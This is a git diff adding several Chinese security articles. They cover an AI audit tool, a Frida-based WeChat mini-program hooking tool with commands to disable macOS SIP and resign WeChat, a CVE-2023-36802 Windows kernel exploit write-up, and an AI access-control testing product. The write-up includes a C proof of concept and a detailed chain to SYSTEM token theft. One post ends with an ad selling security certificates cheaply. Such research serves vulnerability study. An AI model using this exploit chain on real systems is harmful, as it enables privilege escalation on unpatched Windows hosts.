Solidity/EVM、ZK/证明系统、Rust、Go、JavaScript、协议或加密技术特定的审计策略。源数据、语料库和可选配置文件是输入；审计策略来自模型。随着编码模型的改进，审计能力可以得到提升，而无需针对每个新的技术栈重写框架。 +- **基于执行的结论。**模型显示某项结论看似合理，但这并不意味着该结论真实有效。它必须引用实际执行的本地命令，证明该命令执行了易受攻击的路径。更有力的结论还需通过差异性验证、独立反驳和忠实概念验证的复核。 +- **盲发现加开放世界复现。**发现过程在网络封闭环境下进行，因此发现结果源自目标材料，而非复制公开内容。flounder confirm之后，网络仅开放用于白帽复现、新颖性检查以及提交/不提交决策表。 +- **沙盒执行边界。**模型生成的代码、概念验证 (PoC)、依赖项安装和本地测试都在复制的工作区中运行，而不是直接在主机检出目录中运行。默认的 OCI 后端拒绝静默主机执行，仅绑定挂载复制的工作区和软件包缓存，禁用 Linux 功能，使用no-new-privileges只读根文件系统和 tmpfs 临时目录，在配置时应用进程/内存/CPU 限制，并禁用密封审计命令的网络。这可以缩小恶意依赖项、不安全的概念验证和模型错误的影响范围，防止它们污染主机。 +- **多种审计场景。**同一产品可用于盲审能力审计、基于可疑链上证据的事件调查、公开漏洞赏金审计、针对可疑发现的定向后续跟进以及披露准备。Flounder 是否自行准备目标，或者您提供源路径，这只是输入路径，而非场景本身。 +- **Solidity 和 ZK 非常契合。Solidity** /EVM 目标模型效果显著，因为本地分叉和 Foundry/Hardhat 测试可以验证链上实际效果。ZK/证明系统目标模型效果显著，因为本地证明器和约束框架可以将细微的缺失约束转化为可执行的反例。这些都是高信号示例，而非硬编码的限制。 +- **Flounder专为代理工具而设计。**它通过 CLI、React 控制面板、自描述 REST API、pi 扩展、提供者配置文件和守护进程执行平面公开审计工作流程。Codex 风格和 Claude Code 风格的提供者可以通过同一个沙箱和审计契约进行路由。 +- **代码和凭据的本地控制。UI**服务器是一个控制平面。审计程序在守护进程中运行，可以选择在另一台机器上运行，因此目标代码和提供程序凭据保留在执行器主机上。 +三、立即获取 + +https://github.com/adshao/flounder + diff --git a/doc/2026-06/微信小游戏有漏洞？这个工具让你像调试网页一样透视小程序内部.md b/doc/2026-06/微信小游戏有漏洞？这个工具让你像调试网页一样透视小程序内部.md new file mode 100644 index 00000000..9b4d46de --- /dev/null +++ b/doc/2026-06/微信小游戏有漏洞？这个工具让你像调试网页一样透视小程序内部.md @@ -0,0 +1,148 @@ +# 微信小游戏有漏洞？这个工具让你像调试网页一样透视小程序内部 +菜狗 + 菜狗 只会看监控的实习生 2026-06-29 00:59 + +# First — 微信小程序安全调试工具 + +> **Frida + CDP 双引擎驱动** + | 支持 macOS / Windows | 小程序安全研究与逆向分析利器 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pled5HYvsFFj6n5LXAbCbQtQbpQZ6KKo5KxlAoyysGr9aoMlDWzh8BzibbNk3iaKltsrevhTm04tMqjK7C6Y1YaNPlib16VnS6RF39DwuKxmb4/640?wx_fmt=png&from=appmsg "") +## 产品定位 + +First 是一款专注于微信小程序安全研究的调试工具，基于 Frida 动态插桩技术与 Chrome DevTools Protocol（CDP）深度集成，为安全研究员提供小程序运行时的全维度观测与干预能力。 + +不同于传统的静态分析工具，First 能够在小程序运行时实时捕获 API 调用、拦截云函数请求、动态修改参数并重放，让安全测试从"黑盒猜测"升级为"白盒透视"。 +## 核心功能 +### 🔧 运行时调试 + +
功能
说明
技术实现
Frida 注入
动态注入微信进程，获取运行时控制权
Frida Gum 引擎
CDP 桥接
代理 Chrome DevTools 协议，复用前端调试生态
Chrome DevTools Protocol
DevTools 集成
直接使用 Chrome 开发者工具调试小程序
WebSocket 代理转发
+### ☁️ 云函数动态捕获 +- **Hook 点** +：wx.cloud.callFunction + +- **能力** +： + +- 实时拦截云函数调用 + +- 查看完整请求参数（data、header、cloudID 等） + +- **动态修改参数** +后重放请求 + +- 批量测试边界条件与注入向量 + +> 应用场景：快速验证云函数端的权限校验逻辑、参数过滤机制。 +### 🔗 wx.* API 全捕获 + +覆盖微信小程序核心 API： + +
API 类别
具体接口
捕获内容
用户认证
wx.login
code、appid、secret 交换流程
网络请求
wx.request
URL、method、data、header、响应数据
用户信息
wx.getUserProfile
授权参数、返回的用户敏感信息
数据缓存
wx.setStorage
 / wx.getStorage
key-value 存储内容
文件操作
wx.downloadFile
 / wx.uploadFile
文件路径、下载链接
+### 🧭 路由枚举与导航 +- **页面路由抓取** +：自动枚举小程序所有可访问页面 + +- **跳转守卫检测** +：识别未授权访问的页面路径 + +- **参数遍历测试** +：对路由参数进行 fuzzing，发现越权入口 + +### 📦 wxapkg 解密解包 + +
能力
说明
自动解密
识别微信本地缓存的 wxapkg 加密包
源码提取
解包获取小程序原始代码结构
敏感信息扫描
自动检测硬编码的 API Key、Secret、内网地址等
+### 🤖 MCP Server 集成 +- **AI 辅助分析** +：对接大语言模型，自动解读捕获的流量数据 + +- **智能漏洞识别** +：基于上下文理解，提示潜在的安全风险点 + +- **报告生成** +：一键输出结构化的安全分析报告 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pled5HYvsFHtV6Y2JUoMK6gEM4TRpiaRyHNd158efTvEbhEpzU3kiaxLEqHrcPdYdtPOzwO41CS4GhzqIdzDVDIqA0Rtq75JrqlWnBgcSBjSc/640?wx_fmt=png&from=appmsg "") +### 🔄 在线更新机制 + +
更新项
说明
偏移量更新
微信版本迭代后，自动同步 Frida 注入点偏移
Skills 更新
漏洞检测规则、Hook 脚本持续迭代
+## 下载与安装 +### 版本说明 + +> **自 v1.1.0 起转为闭源** +，后续版本仅提供编译后的二进制分发。开源版本仍可获取历史 Release。 +### 最新版本下载 + +
平台
架构
文件名
适用场景
macOS
Apple Silicon (M1/M2/M3)
First-ARM.dmg
主流新 Mac
macOS
Intel (x86_64)
First-Intel.dmg
旧款 Mac / 黑苹果
Windows
x86_64
First-Windows.zip
Windows 10/11
+ +> 📥 前往 Releases 页面下载最新版 +## 支持的微信版本 +### Windows 平台 + +**WMPF 版本** +（微信小程序框架版本）： +``` +11581, 11633, 13331, 13341, 13487, 13639, 13655, 13871, 13909,14161, 14199, 14315, 16133, 16203, 16389, 16467, 16771, 16815,16965, 17037, 17071, 17127, 18055, 18151, 18787, 18891, 18955,19027, 19201, 19977 +``` +- **实时更新** +：持续适配最新微信版本 + +- **社区贡献** +：19977 版本由微信群友"执守中一"提供 + +**推荐微信版本** +：4.1.10 +- [下载地址] + +``` +https://weixin.qq.com/cgi-bin/readtemplate?t=win_weixin +``` +### macOS 平台 + +**WMPF 版本** +： +``` +17078, 18152, 18788, 19978 +``` +- **实时更新** +：持续适配最新微信版本 + +- **社区贡献** +：19978 版本由微信群友"人杰"提供 + +**推荐微信版本** +：4.1.10 +- 下载地址 + +![](https://mmbiz.qpic.cn/mmbiz_png/Pled5HYvsFH3bnYLDsjH4WjvIPcaOobF8APwK9Mqf9jMN2av9yGtwae5BBricUgibqGYArPAfvZHYA5UMLBhhj3VZoiaEpo3TOqNf5jxRjMzBQ/640?wx_fmt=png&from=appmsg "") +## 快速开始 +### 三步启动 +``` +# Step 1: 安装并打开 First 应用# Step 2: 点击「启动」按钮 — Frida 自动注入微信进程# Step 3: 在微信中打开目标小程序，开始调试 +``` +### 功能入口 + +
入口
功能
操作方式
DevTools
前端调试
自动唤起 Chrome DevTools
云捕获
云函数拦截
侧边栏实时查看调用记录
导航
路由枚举
点击扫描，一键跳转测试
+### macOS 特别说明 + +Frida 注入微信进程时，可能遇到系统级限制。提供两种解决方案： +#### 方案一：关闭 SIP（系统完整性保护） +``` +# 重启进入恢复模式（开机时按住 Cmd+R）# 在终端执行：csrutil disable# 重启后即可正常注入 +``` +### 方案二：强制重签名微信应用 +``` +sudo codesign --force --deep --sign - /Applications/WeChat.app +``` +### 技术架构 +``` +┌─────────────────────────────────────────┐│           Chrome DevTools UI             ││  (Elements / Network / Console / Sources) │└─────────────────┬───────────────────────┘                  │ CDP over WebSocket┌─────────────────▼───────────────────────┐│         First CDP Proxy Bridge           ││    (协议转换 / 流量拦截 / 数据增强)       │└─────────────────┬───────────────────────┘                  │    ┌─────────────┼─────────────┐    │             │             │    ▼             ▼             ▼┌────────┐  ┌────────┐  ┌────────────┐│ Frida  │  │ Frida  │  │   wxapkg   ││ Agent  │  │ Script │  │   Parser   ││(注入微信)│  │(Hook点)│  │(解密解包)   │└────┬───┘  └────────┘  └────────────┘     │     ▼┌─────────────────────────────────────────┐│           WeChat (WMPF Runtime)          ││  ┌─────────┐  ┌─────────┐  ┌────────┐ ││  │ wx.login│  │wx.cloud │  │wx.requ-│ ││  │         │  │.callFunc│  │est     │ ││  └─────────┘  └────┬────┘  └────────┘ ││                     │                   ││              ┌──────▼──────┐            ││              │ Cloud Func  │            ││              │   Server    │            ││              └─────────────┘            │└─────────────────────────────────────────┘ +``` +### 项目地址 +``` +https://github.com/Spade-sec/First +``` +## 低价出售安全证书不限于cisp、pte等cnvd、建了项目群，想进群的请回复进群 + + + diff --git a/doc/2026-06/旧漏洞，新规则：不用捷径拿下 CVE-2023-36802.md b/doc/2026-06/旧漏洞，新规则：不用捷径拿下 CVE-2023-36802.md new file mode 100644 index 00000000..8068b292 --- /dev/null +++ b/doc/2026-06/旧漏洞，新规则：不用捷径拿下 CVE-2023-36802.md @@ -0,0 +1,284 @@ +# 旧漏洞，新规则：不用捷径拿下 CVE-2023-36802 + 幻泉之洲 2026-06-29 02:17 + +> + +## 补丁对比：多了一个 TypeId 检查 + +先把补丁前后的代码摆出来。左边是漏洞版本 22621.1848，右边是修补后的 22621.2283。 + + +// FSRendezvousServer::FindObject (vulnerable) ++ // FSRendezvousServer::FindStreamObject (patched) +targetObject_1 = targetObject; +- server = this; ++ this_1 = this; +- if ( targetObject ) ++ if ( targetObject && targetObject->TypeId == 2 ) +{ +-   if ( targetObject->TypeId == 1 ) +-   { +-     contextListHead = &this->ContextList.ListHead; +-     contextFirst = (struct FSRendezvousServer *)this->ContextList.ListHead.Flink; +-     if ( contextFirst != (struct FSRendezvousServer *)&this->ContextList.ListHead ) +-       this->ContextList.Iterator = contextFirst; +-     while ( 1 ) +-     { +-       Iterator = (const struct FSRegObject **)server->ContextList.Iterator; +-       if ( !Iterator +-         || contextListHead->Flink == contextListHead +-         || Iterator == (const struct FSRegObject **)contextListHead ) +-       { +-         break; +-       } +-       if ( Iterator != (const struct FSRegObject **)8 && Iterator[3] == targetObject_1 ) +-         return 1; +-       FSRegObjectList::MoveNext(&server->ContextList); +-     } +-   } +-   else +-   { +    p_ListHead = &this->StreamList.ListHead; +-     streamFirst = (struct FSRendezvousServer *)this->StreamList.ListHead.Flink; +-     if ( streamFirst != (struct FSRendezvousServer *)&this->StreamList.ListHead ) ++     Iterator_1 = (struct FSRendezvousServer *)this->StreamList.ListHead.Flink; ++     if ( Iterator_1 != (struct FSRendezvousServer *)&this->StreamList.ListHead ) +      this->StreamList.Iterator = Iterator_1; +    while ( 1 ) +    { +-       contextCurrent = (const struct FSRegObject **)server->StreamList.Iterator; +-       if ( !contextCurrent ++       Iterator = (const struct FSRegObject **)this_1->StreamList.Iterator; ++       if ( !Iterator +        || p_ListHead->Flink == p_ListHead +-         || contextCurrent == (const struct FSRegObject **)p_ListHead ) ++         || Iterator == (const struct FSRegObject **)p_ListHead ) +      { +        break; +      } +-       if ( contextCurrent != (const struct FSRegObject **)8 && contextCurrent[3] == targetObject_1 ) ++       if ( Iterator != (const struct FSRegObject **)8 && Iterator[3] == targetObject_1 ) +        return 1; +-       FSRegObjectList::MoveNext(&server->StreamList); ++       FSRegObjectList::MoveNext(&this_1->StreamList); +    } +-   } +} +return 0; + + +补丁把函数名从 FindObject 改成 FindStreamObject，并加了一个硬性条件：targetObject->TypeId == 2。之前可以同时搜 ContextList 和 StreamList，现在只认 TypeId 为 2 的 FSStreamReg 对象。FSContextReg（TypeId 为 1）直接就被拒了。整个 ContextList 搜索分支被连根删掉。 + +为什么要这么改？往下看你就会明白。 +## 两种对象，两种大小 + +逆向 mskssrv.sys，找到两个初始化函数。 + +第一个是 FSRendezvousServer::InitializeStream。它用池标签 SreG 分配一个 0x1D8 大小的块，再调用 FSStreamReg::FSStreamReg 构造函数，把 TypeId 置为 2，对象大小记为 472 字节（0x1D8）。 + + +__int64 __fastcall FSRendezvousServer::InitializeStream(struct FSRendezvousServer *this, struct FS_IRP *irp) +{ +  ... +  rawAlloc = (FSStreamReg *)ExAllocatePool2(POOL_FLAG_NON_PAGED, 0x1D8, 'GerS'); +  if (rawAlloc) { +    FSStreamReg::FSStreamReg(rawAlloc);  // TypeId = 2 +  } +  ... +} +// 构造函数内 +this->TypeId = 2; +this->ObjectSize = 472; + + +第二个是 FSRendezvousServer::InitializeContext。它用标签 CreG 分配 0x78 大小，初始化一个 FSContextReg，TypeId 为 1。 + + +rawAlloc->TypeId = 1; +rawAlloc->ObjectSize = 0x78; + + +两个对象大小不同，TypeId 也不同。在 SrvDispatchIoControl 里，不同的 IOCTL 码对应不同的处理函数： +- 0x2F0400 InitializeContext → 创建 FSContextReg（TypeId=1, 0x78 字节） +- 0x2F0404 InitializeStream → 创建 FSStreamReg（TypeId=2, 0x1D8 字节） +- 0x2F0408 PublishTx +- 0x2F040C PublishRx +- 0x2F0410 ConsumeTx +- 0x2F0414 ConsumeRx +后四个操作全部调用 FindObject 来验证 FsContext2 中的对象，然后强制转型为 FSStreamReg 并调用对应方法。如果 FsContext2 里实际存的是 FSContextReg，类型就乱了。 +## 触发漏洞 + +触发很简单。先通过 IOCTL 0x2F0400 创建一个 FSContextReg 对象，再调用任意一个 PublishTx/PublishRx/ConsumeTx/ConsumeRx 就行。精简后的 PoC 长这样： + + +#include +#include +#define DEVICE_NAME L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}" +#define IOCTL_PUBLISH_TX 0x2F0408 +#define IOCTL_INIT_CONTEXT 0x2F0400 +int main() +{ +    HANDLE hDevice = CreateFileW(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); +    if (hDevice == INVALID_HANDLE_VALUE) { +        printf("[-] Open failed: %lu\n", GetLastError()); +        return 1; +    } +    char buf[0x100] = {0}; +    *(uint32_t *)(buf + 0x00) = 1;                              /* Flags (bit 0 set) */ +    *(uint64_t *)(buf + 0x08) = (uint64_t)GetCurrentProcessId(); /* ProcessId */ +    *(uint64_t *)(buf + 0x10) = 0x4141414141414141ULL;          /* ContextKey */ +    *(uint64_t *)(buf + 0x18) = 0;                              /* EventHandle = NULL */ +    DWORD bytesReturned; +    if (!DeviceIoControl(hDevice, IOCTL_INIT_CONTEXT, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL)) { +        printf("[-] Failed to send IOCTL_INIT_CONTEXT: %lu\n", GetLastError()); +        CloseHandle(hDevice); +        return 1; +    } +    printf("[+] IOCTL_INIT_CONTEXT sent successfully!\n"); +    memset(buf, 0, sizeof(buf)); +    *(uint32_t *)(buf + 0x20) = 1;  /* Capacity */ +    *(uint32_t *)(buf + 0x24) = 1;  /* Count */ +    if (DeviceIoControl(hDevice, IOCTL_PUBLISH_TX, buf, sizeof(buf), buf, sizeof(buf), &bytesReturned, NULL)) +        printf("[+] PublishTX OK\n"); +    CloseHandle(hDevice); +    return 0; +} + + +![](https://mmbiz.qpic.cn/mmbiz_png/tbTbtBE6Tibckv1UPIvBhkt7pwQBbvI5KIgM3LibUILrXLPpaDibNg8QdZUPicUGCKeVhjQhib74TwHM7GKSYLvr7Vg5TiaPJN0tBVsG4JichRP4ws/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/tbTbtBE6TibfDg2ro20Iib2fCFW8FRU6YPhUpPdic3xsvSOgleJ00LL1NK8hDM9LgYA94ry6VM5CJ8IVJMicCicbENmCxgzMGLDbXruKIKGKic7dc/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/tbTbtBE6TibeV9r4HicS0wZpbJqpTOQgibg30ibicnibicpUFr77xm6dtic9rPcic7dyibt18H2DyNvmWJHzpiahIlCmlia0xLbyXyvJTOaIiahDjFvugFU4/640?wx_fmt=jpeg&from=appmsg "") + +补丁就是瞅准了这个类型混淆，一刀切掉 ContextList 的检索，只认 TypeId == 2。 +## 我们手里有什么原语 + +在进入最终利用路径之前，得先把已有的读写能力摸清楚。 + +**泄漏原语** + +漏洞函数 FSRendezvousServer::ConsumeTx 里，会对流对象调用 FSStreamReg::GetStats，然后把数据拷到 irp->AssociatedIrp.SystemBuffer。 + + +void __fastcall FSStreamReg::GetStats(struct FSStreamReg *this, char *system_buff) +{ +  if ( system_buff ) +  { +    *(_QWORD *)system_buff = *(_QWORD *)this->PendingFrames.Pad3; +    *((_QWORD *)system_buff + 1) = *(_QWORD *)this->CompletedFrames.Pad3; +    *((_DWORD *)system_buff + 4) = this->PendingFrames.Count; +    *((_DWORD *)system_buff + 5) = this->CompletedFrames.Count; +  } +} + + +偏移 0x128、0x138、0x1a0、0x1b0 的数据会被读出来。因为 FSContextReg 只有 0x78 字节，它会落在 LFH 0x90 桶里。所以漏洞对象只会跟同样 0x90 大小的块相邻。通过堆喷和布局，我们能从越界区域读到 NpFr2->Flink（NPFS 数据条目链表指针），这就拿到了内核地址。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/tbTbtBE6TibcN6eh7SkKicibhaPXdic5KGbHsCklgcacdBMCkn1XZv6o7vbxYtLz53rTnIzicbqLmxBROvrGVgyFXoW9Xh6IKO9eEsjfu7lmDMkI/640?wx_fmt=jpeg&from=appmsg "") + +沿着 Flink 还能继续读到同一 CCB 下的下一个 NpFr 条目，只要它们属于同一个连接上下文。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/tbTbtBE6TibdJuRjo0hfRicdc7bxstDh5ibHeXArjLEEaJ3wnIZPRudyIMNBduDnhsSwzbuxKsWnP2ha5EY5QrG2G5OkFxdcH5ibVibaguoAzjw8/640?wx_fmt=jpeg&from=appmsg "") + +**任意递减原语** + +看 FSStreamReg::PublishRx 的内部逻辑： + + +if ( Iterator->MatchId == (void *)*((_QWORD *)frameInfo + 17 * i + 6) ) +{ +    Field_C8 = (int)Iterator->Field_C8; +    FSFrameMdl::UnmapPages(Iterator); +    if ( Field_C8 ) +    { +        ObfDereferenceObject(this->InitProcess); +        ObfDereferenceObject(this->Reserved2); // 这里可以做任意递减 +    } +    v5 = 1; +} + + +如果能控制 this->Reserved2 的指向，ObfDereferenceObject 就会对它指向的地址做一次指针引用计数递减。注意，要走到这条路径，需要先让外层循环匹配到一个伪造的 FSFrameMdlEntry，而且还要绕过 KeSetEvent 避免崩溃。我的做法是：在用户态分配一页，放一个自引用的链表项，让 PublishRx 在另一个线程里一直循环，不触发事件信号。 + +**写 DWORD 2 原语** + +同样在 PublishRx 里，FSFrameMdl::UnmapPages 会把 this->Field_10 写成 2。控制 this->Field_10，就能往一个受控地址写入常量 2。 + + +LODWORD(this->Field_C8) = 0; +LODWORD(this->Field_10) = 2; // 任意写 dword 2 + + +但这个函数前面还有 MmUnmapLockedPages，如果 this+0xa0 和 this+0xa8 非零，就会先调用它。由于我们操控的是 0x90 桶里的相邻块，偏移 0xa0 会跨到下一个 chunk 里，控制不了就必然蓝屏。试了一圈，零化掉下一块的前 0x10 字节太不可靠。调试时也发现 [rcx+20h] 的校验会碰到 IRP 相关字段，这个写原语基本不能用。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/tbTbtBE6TibezeaQDG3BLysttQV5dgjNYKoEJB11l8Wh4lwSomO0SVicZE2v0LjacvZxj1lbm0fN33M6RyOh9yoq4X5FEGIsAnaXgicO5O7Ym4/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/tbTbtBE6Tibej9icShGX3bELYbLF0066kfdS2eua8XwHfux1jHK2lNq8r8Ua2oiaOjiavWE6kMMrfPx45PK7Ee7dBFyzvMIyFuvR6KFKWNokoXs/640?wx_fmt=jpeg&from=appmsg "") + +所以写 DWORD 2 的路走不通，真正能用的是递减原语。 +## 用递减原语破坏 Flink + +递减原语作用于 &Flink + 1，会使指针整体向低地址退 0x100。只要我们提前把前一个 chunk 布置好伪造的 DQE（数据队列条目），递减后新指针就能落入我们的可控区域。 + +但 ObDereferenceObject 内部会检查对象头，具体来说 mov rcx, [rsi-28h] 会读到 [&Flink + 9]，如果这个字节不符合引用计数的安全范围，直接 BugCheck。如何绕过？让前一个条目的地址页对齐（低 12 位为 0）。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/tbTbtBE6Tibe1VZTNLPxY7LUyrDS4MJU1qibA931BotjZdwwqbeL1hgO3BnJtFPVDkseNkeMib9SYDvMicSkGRibVWP7WdibbNRHcmt8icxyribiabBQ/640?wx_fmt=jpeg&from=appmsg "") + +问题来了：当前堆布局里，前一个条目也是 0x90 的 NpFr，不是页对齐的。解决办法是用 CancelIoEx() 调用到 NpCancelDataQueueIrp()，把中间的 0x90 NpFr1 取消掉。这样链表里 NpFr2->Blink 就会指回 &NpFr0->Flink，而 NpFr0 是 0x1000 大小的 NPFS 对象，首地址页对齐。 + +然后布置堆：先喷一堆 0x1000 的 NpFr 块，挖洞，再做泄漏布局。每一个 0x1000 块在偏移 0xed0 处预先填好用户态的伪造 DQE 地址。递减触发后，NpFr2->Flink 就指向这个伪造地址，NPFS 遍历队列时会进入我们控制的 DQE。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/tbTbtBE6Tibdfwib8VlXJQ9PYDIXKHzj6FaBkicL8ADWTzKWa0WviaCiaoEp6FoxhPjC8lIf3RRYulKlBvIdPvUWI7OPH1PrhRdXD8ROkawXsy5A/640?wx_fmt=jpeg&from=appmsg "") +## 任意读、任意写 + +到了这一步，后续思路就参考了 vp777 公开的技术[1]。 + +在该伪造 DQE 里标记为 Unbuffered 模式，把它的伪造 IRP 的 AssociatedIrp.SystemBuffer 指向目标内核地址，然后调用 PeekNamedPipe。NPFS 处理被破坏的队列时，会把那个内核地址的数据当成数据源，拷贝 DataSize 字节到用户缓冲区。任意读到手。 + +利用读原语把真实 DQE 和 IRP 的地址也读回来。有了内核态 IRP 地址，就造一个内核假 IRP，通过 IofCompleteRequest 让 NPFS 完成它。完成路径会做缓冲 I/O 回拷，控制 SystemBuffer、UserBuffer 和 IoStatus.Information 就能实现任意写。 +## 定位 EPROCESS + +任意读拿到后，第一件事是从损坏的管道队列里找出真正的 IRP。读取 NpFr2 DQE 的 IRP 指针，再从 IRP->Tail.Overlay.Thread 找到 ETHREAD。Windows 11 22H2 下，_KTHREAD.Process 在偏移 0x220。于是整条链路： + + +NpFr2 DQE +    -> IRP +       -> IRP->Tail.Overlay.Thread +          -> ETHREAD +             -> KTHREAD.Process +                -> 当前 EPROCESS + + +拿到当前进程 EPROCESS 后，遍历 ActiveProcessLinks 找到 PID 4（SYSTEM），提取它的 EPROCESS。 +## 提权到 SYSTEM + +Windows 11 22H2 上，Token 字段在 _EPROCESS + 0x4b8。读一下 SYSTEM 进程的 Token 值，用任意写原语写进当前进程的同一偏移。写完之后，当前进程的主令牌就变成 SYSTEM。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/tbTbtBE6TibcjDsJ9OA43qqzh88Ok8tyysMibQoaeQvtuFxQP5P2CYkCLr7ZxIHWOx1G0RguiatYwmJlFR5mrX6hCob4lOEYm6ntb0OXtAFwug/640?wx_fmt=jpeg&from=appmsg "") + +到此，利用结束。全程没用一个 NtQuery* 接口，也没碰 PreviousMode。 +## 写在最后 + +这个漏洞本身不新鲜，但我做的时候被明确要求不能走老路——没有内核地址泄露捷径，没有方便好用的 PreviousMode。逼着从混乱的堆布局里拼出一条路来，整个过程反复调试、崩溃、调整，再崩溃、再调整。说实话，递减原语那条路如果不是对 CancelIoEx 的副作用足够了解，很容易直接放弃。 + +感谢我的导师 Dang Nguyen（@MochiNishimiya， https://x.com/MochiNishimiya）。他给了我一个被充分记录的老漏洞，却拿掉了所有现成答案，逼我挖出一条新路。 + +参考资料： +1. KASLR 泄露限制：https://windows-internals.com/kaslr-leaks-restriction/ +2. PreviousMode 利用变迁：https://blog.vmcall.io/blog/2025-04-05-porting-to-24H2/ +3. PreviousMode 串行实验：https://owl-a.github.io/windows%2011/2025/02/19/Serial-Experiments-PreviousMode/ +4. IBM X-Force 对 CVE-2023-36802 的分析：https://www.ibm.com/think/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service +5. Google Project Zero 的 0day 复盘：https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-36802.html +6. THEORI 的提权链分析：https://theori.io/blog/chaining-n-days-to-compromise-all-part-6-windows-kernel-lpe-get-system +7. vp777 的非分页池溢出利用：https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation +8. Windows 11 22H2 IRP 结构：https://www.vergiliusproject.com/kernels/x64/windows-11/22h2/_IRP +9. IRP.Tail.Overlay.Thread 文档：https://ntdoc.m417z.com/irp#tail-overlay-thread +### 参考资料 + +[1] +https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation + +[2] +https://starlabs.sg/blog/2026/06-old-bug-harder-rules-exploiting-cve-2023-36802-without-the-usual-shortcuts/ + diff --git a/doc/2026-06/用AI检测“越权漏洞”，更快更灵！.md b/doc/2026-06/用AI检测“越权漏洞”，更快更灵！.md new file mode 100644 index 00000000..c0f3bdff --- /dev/null +++ b/doc/2026-06/用AI检测“越权漏洞”，更快更灵！.md @@ -0,0 +1,110 @@ +# 用AI检测“越权漏洞”，更快更灵！ + 斗象科技 2026-06-29 03:42 + +![](https://mmecoa.qpic.cn/mmecoa_png/jpCFCFfaGRGibHGibInYKQWKnpibfqRg6RsR9nok4eCWyNtIZQLoULeE1qhwQYgGKPUzDqfpvVCWJtx3Lxib9NBH57Niccrz1reNk6nKVib2q7xSY/640?wx_fmt=png "") + +越权漏洞检测一直是业务安全测试中的一大痛点。面对成百上千个业务API，测试人员需反复抓包、修改参数、切换测试账号，再逐一对比响应内容，流程繁琐且极易漏测、误报。 + + +针对这一难题，斗象APTP攻击面检测管理平台全新上线 +**「AI越权漏洞检测」** +，让AI替你做"改参数、看响应、判语义"这些费时费力的工作，越权检测效率直接翻倍！ + + +![](https://mmecoa.qpic.cn/sz_mmecoa_png/jpCFCFfaGREu3koibiapyTc5VlCPKNE6xGABADQNGWdAyQuvHGCkwEiaJgVdibXj4B89cPlsILHxmgWPuicShpNUQK0FXBSVpcpeicYhPcnft2Yyc/640?wx_fmt=png "") + +传统的检测工具往往止步于“发包-比对”的简单逻辑，难以应对复杂的业务场景。 +**斗象APTP专为越权漏洞打造了独立的AI检测引擎** +，搭建起接口筛选、自动组包、智能分析、结果输出的全流程自动化体系，模拟资深渗透测试人员的检测逻辑开展工作： + + + +**智能筛选接口** + +自动从海量请求中挑出“值得测”的高风险接口 + + +**深度语义分析** + +结合特定Prompt，对响应内容进行逻辑推理，而非简单的规则匹配 + + +**精准漏洞判定** + +无论是水平越权还是垂直越权，AI都能给出高置信度的判断 + +![](https://mmecoa.qpic.cn/mmecoa_png/jpCFCFfaGRHTEP8ibngeUcdhABystb0zic8ELh0raQw6mrCM1vjVzQ7qTjRqfEvv8ZjhwrNF5icgNicsGCGLKmjc06cbYnFn8Ntib8Ixzp8A1zD8/640?wx_fmt=png "") + +**** +**过去需要几天的人工排查，现在几分钟即可完成。** +同时，引擎还支持灵活切换AI模型，用户可根据业务场景和合规要求接入主流大模型API。 + + +![](https://mmecoa.qpic.cn/sz_mmecoa_png/jpCFCFfaGRGOicLrgwcEnYukic7szwO2p8WIu1UTVzz01lDIIHJ71vicDRdlsb9FcibSld7bn20U34ud2nXFlDUvXX37LHrvxCWOlDJljyDjYib8/640?wx_fmt=png "") + +越权漏洞主要包括水平越权和垂直越权。前者导致数据横向泄露，后者则可能让系统彻底失控。更危险的是，两者常被攻击者组合利用：先通过垂直越权获取高权限，再通过水平越权遍历ID，批量获取所有用户的手机号、地址等敏感数据。 + +![](https://mmecoa.qpic.cn/sz_mmecoa_png/jpCFCFfaGRFOwKN6IVcKvjGDvFlVzc9hIiaCFPFiakfGKjxBt3B6YTDwRhrupR7ORYfy96Bfr8MDR0SmDYb3PW9bF5yy3paKpx9pTSicp4V9xU/640?wx_fmt=png "") + +针对这两类场景，斗象APTP设计了 +**差异化的AI检测模型：** + +**** + +![](https://mmecoa.qpic.cn/mmecoa_png/jpCFCFfaGRFPovyIicayVAoMo9ZY60bprnK3gOxdEWmSgbvl5J7NQWr0AVZwm1PNKmsJXlA37fdapc2GqZOarhfYkI4wgCCUeGOOrEqCkMvI/640?wx_fmt=png "") + +水平越权（也叫IDOR漏洞），指攻击者与受害者拥有相同权限，却能通过篡改用户ID、订单号等参数，查看他人私有数据。 + + +对此，斗象APTP采用**“三请求对照分析模型”，** +先发起基准请求建立正常访问基线，再构造越权请求尝试获取他人数据，最后移除凭证验证资源是否公开。通过交叉比对这三组响应，精准区分“公开资源”与“真实越权”。 + + +![](https://mmecoa.qpic.cn/sz_mmecoa_png/jpCFCFfaGRHicnkw1UZV4gr8W9MRjXuY6l5AngM7lM1ZASfeWOicj0CbP1NBrSktgVCXzyUb5tk2KBr6bSWaRDYSA1Y2OZaxicicGGibiaiaOGMvvw/640?wx_fmt=png "") + +垂直越权指低权限用户绕过权限校验，执行本属于管理员的高危操作，如删除数据、推送消息、查看系统配置等。 + +**** + +针对此类场景，APTP采用 +**“身份替换+响应差异AI分析”机制，** 